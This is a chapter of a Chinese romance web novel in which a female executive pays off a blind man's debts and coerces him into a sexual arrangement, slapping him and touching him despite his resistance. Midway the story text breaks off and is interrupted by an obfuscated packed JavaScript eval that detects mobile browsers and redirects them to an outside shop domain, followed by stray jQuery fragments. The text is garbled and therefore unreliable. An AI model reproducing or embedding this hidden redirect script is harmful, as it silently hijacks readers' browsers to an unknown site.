12.第 12 章

作品:《女霸总和盲眼男

    导航不断纠正他前行的方向,周序走的极慢,步履轻浮不稳,他看不见,浑身上下能依仗的只有手里这根盲杖。


    这是个很危险的行为。


    在川流不息的马路上,很容易出事。


    路上行人瞧见这个浑身散发酒气的年轻男人,纷纷避让,可是架不住盲道上有乱停的车辆。


    周序走的并不顺利,甚至称得上糟糕。


    陈娆视线始终落在他身上,就一个街口,他已经原地转好几圈了。


    在第三次被电动车绊住后,男人站立良久,转身找了个角落台阶,慢吞吞蹲了下去。


    因为腿长,蹲下身后,高挑的男人瞬间缩成一团,他将脸埋进膝盖中,只能看见一截后颈。


    怪可怜的。


    黑车缓慢滑行,停在街边。


    陈娆降下车窗,对地上的男人开口:“上车,送你回去。”


    闻言,周序背脊僵了僵,却没有反应。


    他已经醉到幻听了。


    “周序。”陈娆加重声音,眉头拧起,“你睡着了?”


    直到这句落下,周序怔了几秒,这才缓慢抬头,语气浓重,语气茫然又不可置信:“陈总?”


    “是我,上车。”陈娆耐心重复。


    周序显然喝多了,上车的动作也显得格外笨拙。


    “你住城南哪里?”陈娆问。


    闻言,周序愣愣偏着头,半晌后才开口。


    “先送他回去。”陈娆吩咐司机。


    轿车起步,夜风吹起女人发梢,她从置物架里抽了瓶水,递给前排的周序。


    “……谢谢。”周序终于反应过来,受宠若惊的收下,矿泉水灌入胃里,终于压下一些醉意。


    他紧紧握着瓶子,不死心地扭头询问:“陈总,您能不能再考虑一下?”


    司机看了眼后视镜,低声提醒:“周先生,陈总在休息。”


    几秒后,男人才小声说了句:“不好意思。”


    他以为,让他上车的意思,是事情还有扭转的余地。


    后排阖眸休息的陈娆睫毛抖了抖,也没回答。


    到了地方,周序下车,车子离开黑暗偏僻的廉租房,回到灯火通明的商业区。


    洗澡时,陈娆的手机震动几声,等她吹完头发披着浴袍出来,才点开消息。


    是晚上那个叫阿轩的小演员发的。


    几张对镜自拍照,薄肌轮廓明显,裤腰拉低,露出人鱼线和新换的脐钉,配上精心凹出的姿势,骚气且诱惑。


    【陈总,我喝多了,身上好痒。】


    正看着,阿轩又发来一张照片,扭着身子,腰侧有几道红抓痕,已经泛起红棱,裤腰又往下扯了点,露出内裤边缘。


    【姐姐,伤口被我抓破了,有点肿。】


    看着阿轩的照片,陈娆脑袋里浮现的,却是傍晚跪在她身前周序。


    宽阔的肩身、修长的双腿、结实的身材、呛红湿润的双眼……还有与冷俊长相不符的、极其卑微的神情与语气。


    两者对比,反差格外明显。


    一个正经,一个放荡。


    就是不知道,周序的腹肌有几块,颜色怎么样,是不是红的和阿轩一样厉害。


    失策了。陈娆轻啧一声。


    早知道刚才车上扒光验验货好了。


    现在也不迟,陈娆一向随心所欲,直接给周序打去视频。


    通话响了一分钟,无人接听,自动挂断。


    女人盯着手机屏幕,那点耐心也彻底告罄。


    看来那二十万对他来说,还是不怎么急。


    另一边,周序捂着胃蜷在出租屋的厕所里,唇色惨白,额角生出冷汗,兜里的手机早已自动关机。


    一口气喝进小半斤的烈酒,是个人都会无法承受,更何况他胃里空荡,喝的又急。


    陈娆熄灭屏幕,将手机放在床头,柔软的被子裹着肌肤,没多久便陷入深眠。


    她睡眠质量一向很好,且从不因为外界的事消耗自己,一觉睡醒,又是新的一天。


    两天时间转而即逝。


    陈娆坐在办公椅上,待处理完最后一份文件,李梦敲门进来,将几张洗好的照片放在她桌前。


    “陈总,周先生被堵在医院了,说今天交不上钱,那边就要动手了。”


    照片里,男人衣领被揪起,挺高大的一个男人,却因为欠债,只能低三下四的乞求。


    这两天,陈娆一直派人跟在周序身边,盯着他的一举一动。


    她知道那边给他的界限是三天内,但除了会所的那一晚,周序再没联系过她,连未拨通的视频也没回。


    似乎是彻底放弃向她借钱的想法。


    陈娆放下照片,“你跟我走一趟。”


    李梦立刻跟上。


    *


    医院,住院部。


    安全通道里,周序被一伙人团团围住,他背抵着掉皮的墙身,声音沙哑,“再给我一周,差的那八万我肯定给你补上。”


    矮个男人恶狠狠揪起周序衣领,“我说了,三天凑齐,差一分都不行,我弟弟等着这个钱救命呢。”


    “就一周,最后一周。”


    “我给你一周,谁给我弟弟时间啊!”矮个男烦躁的挥手,“叫大壮他们动手,看看那个老太太房子里有没有什么值钱的东西,先拿出来卖了,不够的话就告诉她,她孙子在外面闯祸了。”


    “别!”闻言,周序语气忽然激动,“先别告诉我外婆,她年纪大了,就剩我一个亲人了。我肯定马上凑齐钱,肯定!”


    没人理会周序,打电话的人还特意放了扩音,可就在滴声响起时,看起来软弱可欺的男人攥紧拳头,唇角紧抿,似下定决心。


    下一瞬,周序攥住揪着自己衣领的手,反手一拧,矮个子的男人瞬间惨叫出声。


    众人还没反应过来怎么回事,只见刚才还低声下气的男人一脚踹开身前人,朝着电话声传来的方向一伸胳膊,如法炮制地攥住那人手腕,拿走手机,挂断。


    动作一气呵成。


    简直不像个盲人。


    就是个正常人,身手都没他利落干脆。


    “我操?”矮个男甩着扭伤的手,神情暴怒,“你不是瞎子?!”


    周序紧紧攥着手机,“对不起,再给我一周。”


    情况发生的突然,众人都怔住,只有矮个男人狐疑地打量着周序,男人失焦的眼不似作假,这段时间进出医院都拿着盲杖。


    谁也不可能装瞎吧。


    兔子急了还咬人呢,被一个瞎子踹了一脚让矮个男人恼羞成怒,大声呵斥道:“反了天了,你个欠钱的还敢打老子!不给你点颜色看看,真不知道自己排行老几了!”


    身边人一听,纷纷围上来。


    双拳难敌四手,更何况周序一个视障人士,面对几个身强力壮的成年人,就算他身手再好也白瞎。


    周序被围在角落,身上被狠踹一脚,他咬牙闷哼,没还手。


    就在这时,楼下响起噔噔的脚步声,“都住手,否则报警了!”


    声音回响在楼梯间,很响亮,几个人转头,只看见一个女人走上来,正举着手机录视频。


    他们立刻散开,露出角落里的周序。


    “不是,你谁啊你,谁允许你拍视频的?”矮个男人一脸凶狠,伸手就想夺手机。


    李梦连忙避开,指了指头顶的监控,微笑道:“别动手,我家老板不喜欢看人打架。”


    声音似乎有一丝耳熟。


    周度蹙眉,却没想起来是谁。


    “你家老板又是谁啊?关我们屁事啊?”


    李梦没理会男人的叫嚣,走到扶手边缘,恭恭敬敬喊了一声,“陈总,周先生在三楼。”


    陈总?


    一刹那,角落里的周序猛然抬头,瞳孔放大。


    是她?


    靴子踩在瓷砖上,发出咔哒咔哒的轻响,在寂静的安全通道里,格外明显。


    每一步,都碾在男人的心尖上。


    楼梯拐角处,缓缓出现一个女人的身影,她穿着咖色长款大衣,双手插兜,波浪长发散在脑后,桃花眼尾微微上挑,抬眸时带着几分漫不经心的勾人与冷意。


    比长相更出众的,是身上那股从容淡定的气场。


    对比之下,连她身后跟着的那个黑衣保镖,都不是那么引人注意。


    “陈总。”李梦走到陈娆身旁。


    陈娆淡淡嗯了声,踩上最后一节台阶时,目光才落在那人身上。


    男人被堵在角落,弯着腰,唇色发白,鼻尖额头冒出冷汗,鬓角碎发胡乱黏在脸侧,脸上似乎是挨过几拳,鼻梁与唇角都有伤。


    陈娆盯着他看了几秒,才扭头看向另一边为首的矮个男,声音冷淡平静:“他还欠你多少?”


    “不是。”矮个男看向陈娆还有她身后的保镖,往后退了两步,可语气依旧咄咄逼人,“你谁啊你,凭什么拍视频啊?赶紧把视频删了,这是我们的事。”


    “耳朵聋吗?”陈娆重复,语气不耐,“我问他还欠你多少钱。”


    “你什么意思啊!”矮个男当即有些急眼,可还没靠近就被保镖拦住。


    旁边的亲戚偷偷打量着陈娆,虽然她衣服上没有牌子,但质感看起来极好,先上来那个女人叫她老板,还有保镖,显然是非富即贵。


    思索几秒,那亲戚当即就说:“他还欠我们八万!你也是这小子的债主?我告诉你,欠债也讲究先来后到,他得先还我们钱!”


    陈娆看了李梦一眼,后者熟练地打开包,拿出支票。


    “欠债还钱,天经地义,但打人就是你们的不对了。”陈娆走到周序身旁,因为男人弯着腰,她恰好能直面观察他脸颊的伤。


    比会所那夜看起来还憔悴,下巴都冒出短短的青色胡茬,显然是没时间打理自己。


    “陈总。”周序小声开口,声音如老旧风箱,沙哑无比。


    陈娆抬指压在他唇角,“你怎么不还手?”


    周序虽然失明,可他身高腿长的,身材也结实,随便盲抡几下,也不至于被打成这样。


    对方喉结滚动,但没说话。


    “你想用医药费抵钱?”陈娆瞎猜。


    不知道戳到周序什么点,男人脸色一红,急忙解释:“不是的,我没想讹人。”


    矮个男一听这话就急了,他冲到陈娆身前,露出自己红肿的手腕,又指指自己衣服上的脚印,大喊道:“你眼睛也瞎?没看见是他先动手打的我吗!”


    陈娆还真没看见。


    她瞅了瞅对方红肿的手腕,又转头看向脸上带伤的周序,一时间竟真分不清哪个更严重一点。


    “你先动的手?”陈娆问。


    周序耷拉着脑袋,“是,我先动的手。”


    陈娆点点头,也没问原因,“那正好,扯平了。”


    李梦把支票递过去,女人下颚轻抬,“八万,从现在开始,他不欠你们的了。”


    矮个男人一下子没摸清头脑,待看清支票后,惊讶地瞪大双眼,“你这是什么意思?这玩意真的假的?”


    周序也倏然抬头,茫然的颤了颤睫毛,仔细听着动静。


    李梦微笑提醒道:“楼下就有银行,您如果不放心,现在就可以去询问真伪。”


    这操作令那几个人摸不清头脑,有人拿着支票下楼,矮个男也想跟去,但是离开前,他转头疑惑询问。


    “你和他到底什么关系?为什么替他还钱?”


    “我吗?”陈娆忽然笑了笑,“我是他姐姐。”


    听见这个回答,楼道里几双视线纷纷惊讶看来。


    李梦低下头,不看不听老板和这位即将成为老板新情人的情趣对话。


    周序惊愕转头,他死死盯着眼前人,似要透过那点模糊的色块,看清女人的具体表情。


    “姐姐?”矮个子男显然有些不信。


    “叫一声。”陈娆也没顾忌周序脸上的伤,拍了下他的脸蛋。


    男人很轻的嘶了声,随后回过神,表情空白几秒,不甚确定地开口。


    “……姐姐?”


    声音轻飘飘的,掺杂着浓重的疲倦,不是特别好听,可却羽毛似的划过耳朵,泛起点痒意。


    女人眼底浮起笑意,就这么一句,他自己的耳尖竟然有点红。


    陈娆其实不喜欢太骚的伴侣,譬如阿轩那种,公孔雀开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328777|199087||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    屏,耐看不耐用。大部分时候,她更喜欢正经纯情,懂眼色识时务的男人。


    眼前这个就很对她胃口。


    “有这么个姐不早说,早点找你姐要钱不就完了,折腾这么久。”矮个子男嘟囔几句,跟着前几个人离开。


    安全通道霎时冷清下来,陈娆的目光重新落在周序身上。


    “每次见面,你都把自己搞得很狼狈,也是种本事。”


    周序刚站直身子,还没开口,就听见这么一句。


    他怔住一瞬,错把这句当成嘲讽,低下脑袋,“抱歉。”


    如果可以,他也不想。


    “那十二万哪来的?”陈娆继续问。


    “……借的贷款。”周序低着头,语气更加难堪。


    那晚从会所回去后,他头痛欲裂了一天,压根没脸再联系陈娆,更没看见那个未接通的视频。


    周序名下没车没房,正规渠道借不出钱,这十二万,是他押上身份证,从私人手上借的。


    拆东墙补西墙,陈娆扯起唇角,毫不留情点破道:“高利贷啊。”


    周序没否认。


    她掏出手机,指尖点了几下,找到之前周序的银行卡号,“钱我转你了,今天之内把欠的都还上,懂了吗?”


    空气格外宁静,周序的声音发抖:“陈总,您的意思是?”


    “我说过,你不值二十万这个价,但我的约会对象值得。”陈娆扬眉,特意咬重‘约会’二字。


    “所以,你可以自己选择,要不要跟我走。”陈娆语气稍顿,等着周序说些什么。


    这根本不是一个选择题。


    周序大气都不敢喘,生怕眼前的一切只是他的幻觉。


    滚落的盲杖被递到身前,李梦适时开口:“周先生,您的盲杖。”


    周序喉结滚动,声音极轻:“我跟你走。”


    陈娆挑了挑眉,转身下楼,她走的偏慢,是在等身后那个男人。


    走出大厅,阳光洒在身上,身后响起一道男声。


    “谢谢。”


    陈娆步伐顿住,“谢谢?”


    “刚才,谢谢您替我解围。”周序语气真挚。


    周序并不是傻子,他没问陈娆为什么会恰到好处的出现。如果不是她,他不知道今天的事要怎么收场。


    他真的很感谢她。


    被卖了还要说谢谢。


    便宜的蠢货。


    陈娆嗤笑一声。


    上车前,周序习惯性想坐在前排,但被李梦拦住。


    “周先生,您该坐在老板身边。”


    从路人变成老板的现役情人,自然要坐后面伺候老板,前排也没他位置。


    身份转换,这是周序第一次与陈娆并排坐,他本能握紧手中的盲杖,坐姿拘谨。


    一路无言,车子开了很久,久到周序忍不住开口:“陈总,我们现在去哪?”


    陈娆正在发消息,顺口反问一句:“你说呢?”


    周序唇瓣翕动,没回答。


    陈娆顺手摁下按钮,下一秒,车里的隔离挡板缓缓升起,她转头戏谑开口,语调温柔暧昧:“你都选择跟我走了,当然是去验验货。”


    验验货?


    周序懵了两秒才反应过来验货是什么意思,眼前的陈总刚帮他付清欠款,他现在的身份,是她的‘约会’对象。


    他混沌的脑子终于后知后觉意识到这件事,脸色先是一红,又有些发白。


    陈娆饶有兴致地观察着:“怎么,现在又后悔了?”


    “没有。”周序立刻开口,攥着盲杖的手用力到泛白,语气竭力保持平静,“没有反悔,答应您的事我肯定会做到。”


    语气听起来很正常,但陈娆总有一种自己在欺负小孩的错觉。


    “过来点。”陈娆收起手机。


    周序停顿几秒,试探性地挪过来,因为看不见,所以只能靠身体感受距离。


    在触到女人的衣角时,他立刻停下,习惯性与人保持距离。


    可就在这时,陈娆侧过身子,一手摁住周序的大腿,一手掰过他的下颚。


    她突然的动作令周序下意识浑身绷紧,眼眶无措瞪大,颈侧筋骨凸起,掌下的肌肉更是坚硬如石。


    陈娆掐了掐,还算满意。


    她没看错,这副身体看着瘦,实际料还挺结实。


    可就在她指尖顺着男人衣摆探入时,手腕倏然被攥住。


    “你干什么?”身体被冒犯,周序下意识反抗。


    男人的手掌宽大修长,几乎完全包裹住她的手,掌心滚烫,指腹的茧压着她脉搏。


    陈娆看着自己被钳制的手,眉心拧起,训斥道:“你又在干什么?松手。”


    见周序没动,陈娆盯着他,缓慢地说:“我叫你松手。”


    周序这才后知后觉。


    被松开的下一秒,陈娆扬手,甩了男人一巴掌。


    啪——


    无比清脆一声,周序偏过头。


    时间仿佛静止几秒,周序缓缓回头,本就有伤的脸上浮起明显的巴掌印,看起来更加凄惨可怜。


    他唇瓣动了动,没说话,脸上除了一抹转瞬即逝的无措与难堪,什么表情都没有。


    像被这一巴掌扇懵了。


    陈娆活动手腕,与他拉开距离,一字一句道:“周序,放下你没用的尊严和身段,别在这又当又立,我不需要一个不听话的床伴。做不到,现在滚下车,我不拦你。”


    车内无比寂静,她等着对方的回答。


    良久,男人垂下眼,声音发涩:“抱歉陈总,我会习惯的。”


    意料之内的回答。


    陈娆眼底划过一抹讽意。


    衣服再次被拉起,周序这次没反抗,只是因为太紧张,浑身肌肉紧绷着,腹肌看起来格外明显,裤.腰边缘隐约可见浮起的青筋血管。


    他身材很好,很结实。


    陈娆目光缓缓扫过,指甲无意刮过男人劲瘦的腰侧,周序浑身一颤,瞬间泛起层鸡皮疙瘩。


    这种怪异的感受令他一动不敢动,只紧紧咬牙,把自己当成一块无感的石头,任由老板验货。


    直到,陈娆掐了一把他的胸。